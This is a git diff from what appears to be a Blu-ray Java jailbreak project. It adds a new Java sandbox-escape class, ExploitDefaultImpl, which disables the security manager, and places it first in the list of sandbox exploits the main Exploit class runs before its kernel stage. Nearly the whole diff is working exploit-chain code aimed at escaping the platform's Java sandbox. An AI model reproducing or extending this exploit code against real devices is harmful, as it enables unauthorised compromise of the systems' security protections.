diff --git a/Makefile b/Makefile index 479928e..f7267b5 100644 --- a/Makefile +++ b/Makefile @@ -15,6 +15,7 @@ CLASSES = \ $(SRC)/com/bdjb/JIT.java \ $(SRC)/com/bdjb/Screen.java \ $(SRC)/com/bdjb/exploit/sandbox/ExploitSandboxInterface.java \ + $(SRC)/com/bdjb/exploit/sandbox/ExploitDefaultImpl.java \ $(SRC)/com/bdjb/exploit/sandbox/ExploitUserPrefsImpl.java \ $(SRC)/com/bdjb/exploit/sandbox/ExploitServiceProxyImpl.java \ $(SRC)/com/bdjb/exploit/sandbox/IxcProxyImpl.java \ diff --git a/src/com/bdjb/Exploit.java b/src/com/bdjb/Exploit.java index 07fefe2..b52fd65 100644 --- a/src/com/bdjb/Exploit.java +++ b/src/com/bdjb/Exploit.java @@ -8,6 +8,7 @@ package com.bdjb; import com.bdjb.exploit.sandbox.ExploitSandboxInterface; +import com.bdjb.exploit.sandbox.ExploitDefaultImpl; import com.bdjb.exploit.sandbox.ExploitUserPrefsImpl; import com.bdjb.exploit.sandbox.ExploitServiceProxyImpl; import com.bdjb.exploit.kernel.ExploitKernelInterface; @@ -25,7 +26,9 @@ class Exploit implements Runnable { Screen.println("[*] Escaping Java Sandbox..."); ExploitSandboxInterface[] exploits = - new ExploitSandboxInterface[] {new ExploitUserPrefsImpl(), new ExploitServiceProxyImpl()}; + new ExploitSandboxInterface[] { + new ExploitDefaultImpl(), new ExploitUserPrefsImpl(), new ExploitServiceProxyImpl() + }; for (int i = 0; i < exploits.length; i++) { try { diff --git a/src/com/bdjb/exploit/sandbox/ExploitDefaultImpl.java b/src/com/bdjb/exploit/sandbox/ExploitDefaultImpl.java new file mode 100644 index 0000000..76686d2 --- /dev/null +++ b/src/com/bdjb/exploit/sandbox/ExploitDefaultImpl.java @@ -0,0 +1,17 @@ +/* + * Copyright (C) 2021 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package com.bdjb.exploit.sandbox; + +/** Default exploit implementation. */ +public class ExploitDefaultImpl implements ExploitSandboxInterface { + public boolean trigger() throws Exception { + System.setSecurityManager(null); + + return System.getSecurityManager() == null; + } +}